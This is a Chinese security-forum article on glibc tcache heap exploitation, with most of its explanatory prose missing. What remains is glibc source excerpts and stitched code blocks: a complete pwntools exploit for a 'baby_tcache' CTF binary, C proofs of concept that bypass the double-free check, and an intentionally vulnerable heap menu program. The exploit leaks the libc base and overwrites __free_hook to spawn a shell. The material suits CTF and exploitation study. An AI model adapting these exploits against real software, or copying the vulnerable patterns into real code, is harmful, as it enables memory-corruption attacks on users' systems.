本文为看雪论坛精华文章
看雪论坛作者ID:kotoriseed
一
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
static void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;
static __always_inline void
tcache_put(mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
size_t tc_idx = csize2tidx(size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *)chunk2mem(p);
if (__glibc_unlikely(e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx); //这里会以一定的概率去遍历链表
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put(p, tc_idx);
return;
}
}
二
攻击手法
在tcache机制加入的初期,问题其实是非常多的,他的安全性甚至还不如fastbin,这就导致了非常多的利用可以轻易达成。
/* Safe-Linking:
Use randomness from ASLR (mmap_base) to protect single-linked lists
of Fast-Bins and TCache. That is, mask the "next" pointers of the
lists' chunks, and also perform allocation alignment checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe-Unlinking in the double-linked lists of Small-Bins.
It assumes a minimum page size of 4096 bytes (12 bits). Systems with
larger pages provide less entropy, although the pointer mangling
still works. */
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES)
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
:
:
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
............
}
count = _IO_SYSWRITE (fp, data, to_do);
_flags = 0xfbad0000 // Magic number
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
create(0x4f0) # 0
create(0x30) # 1 # 多用几个tcache范围内不同的size,方便free的时候能精准指向目标
create(0x40) # 2
create(0x50) # 3
create(0x60) # 4 # 用于取消下一个chunk的prev_inuse bit,触发unlink
create(0x4f0) # 5
create(0x60, p64(0xdeadbeef)) # 6 # 防止和top chunk合并
delete(4)
pay = b'a'*0x60 + p64(0x660) # prev_size指向chunk 0
create(0x68, pay) # 4
delete(1) # 准备进行tcache poisoning
delete(0) # 使合并的对象能绕过unlink检查
delete(5) # 触发合并
create(0x4f0) # 0
delete(4) # ready to hijack __free_hook
create(0xe0, '\x60\x07') # 4
create(0x30)
pay = p64(0xfbad1800) + p64(0)*3 + b'\x00'
create(0x30, pay)
from pwn import *
context.log_level = 'debug'
elf = ELF('./baby_tcache')
libc = ELF('./libc-2.27.so')
p = process('./baby_tcache')
def choice(idx):
p.recvuntil('choice:')
p.sendline(str(idx))
def create(sz, content='A'):
choice(1)
p.recvuntil('Size:')
p.sendline(str(sz))
p.recvuntil('Data:')
p.send(content)
def delete(idx):
choice(2)
p.recvuntil('Index:')
p.sendline(str(idx))
create(0x4f0) # 0
create(0x30) # 1
create(0x40) # 2
create(0x50) # 3
create(0x60) # 4
create(0x4f0) # 5
create(0x60, p64(0xdeadbeef)) # 6
delete(4)
pay = b'a'*0x60 + p64(0x660)
create(0x68, pay) # 4
delete(1) # ready to f**k _IO_2_1_stdout_
delete(0)
delete(5)
create(0x4f0) # 0
delete(4) # ready to hijack __free_hook
create(0xe0, '\x60\x07') # 4
# tcache poisoning
create(0x30)
pay = p64(0xfbad1800) + p64(0)*3 + b'\x00'
create(0x30, pay)
p.recv(8)
libcbase = u64(p.recv(8)) - 0x3ed8b0
hook = libcbase + libc.symbols['__free_hook']
print(hex(libcbase))
one = [0x4f2c5, 0x4f322, 0x10a38c]
create(0xf0, p64(hook))
create(0x60)
create(0x60, p64(libcbase + one[1]))
delete(4)
# gdb.attach(p)
p.interactive()
由于加入了以下检查:
if (__glibc_unlikely(e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx); //这里大概率会去遍历链表
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
}
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
......
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
......
}
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif
如果有办法修改到该chunk的size,让计算出来的tc_idx发生变化,就能让后续的检查变成在别的entries上遍历, 这样也能成功绕过。
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
int main(){
intptr_t ptr = malloc(0x100);
free(ptr);
*((intptr_t *)ptr+1) = 0;
free(ptr);
getchar();
return 0;
}
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
int main(){
intptr_t ptr = malloc(0x100);
free(ptr);
*((intptr_t *)ptr-1) = 0xf0;
free(ptr);
getchar();
return 0;
}
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
int main(){
intptr_t *ptr[7], chunk_A, chunk_B, chunk_C;
for(int i=0;i<7;i++) ptr[i] = malloc(0x100);
chunk_B = malloc(0x100);
chunk_A = malloc(0x100);
malloc(0x20); // gap
for(int i=0;i<7;i++) free(ptr[i]);
free(chunk_A);
free(chunk_B); // consolidate
malloc(0x100);
free(chunk_A); // double free
chunk_C = malloc(0x110);
*((intptr_t *)chunk_C+0x22) = 0xdeadbeef;
getchar();
return 0;
}
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
void *ptr[0x10];
int idx;
void init(){
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
int menu(){
puts("1.create");
puts("2.edit");
puts("3.show");
puts("4.delete");
puts("5.exit");
return puts("Your choice:");
}
int readInt(){
char buf[0x10];
read(0, buf, 8);
return atoi(buf);
}
void create(){
int idx, ini;
size_t sz;
puts("Index:");
idx = readInt();
puts("Size:");
sz = readInt();
puts("Initialize?");
ini = readInt();
if(ini)
ptr[idx] = calloc(1, sz);
else
ptr[idx] = malloc(sz);
if(!ptr[idx]){
fprintf(stderr, "alloc error!\n");
exit(-1);
}
puts("d0ne!");
}
void edit(){
int idx, sz;
puts("Index:");
idx = readInt();
puts("Size:");
sz = readInt();
read(0, ptr[idx], sz);
puts("d0ne!");
}
void show(){
puts("Index:");
int idx = readInt();
if(!ptr[idx]){
puts("error index!");
return;
}
puts(ptr[idx]);
}
void del(){
puts("Index:");
int idx = readInt();
if(!ptr[idx]){
puts("error index!");
return;
}
free(ptr[idx]);
}
int main(){
init();
while(1){
menu();
int op = readInt();
switch(op){
case 1:
create(); break;
case 2:
edit(); break;
case 3:
show(); break;
case 4:
del(); break;
case 5:
exit(0);
break;
default: break;
}
}
return 0;
}
gcc heap.c -o heap -g -z relro -z lazy
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
该方法往往会结合打mp_.tcache_bins,算好偏移,将entries和counts数组延续到可控区域来实现任意申请。
typedef struct tcache_perthread_struct {
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry* entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
看雪ID:kotoriseed
https://bbs.pediy.com/user-home-951122.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!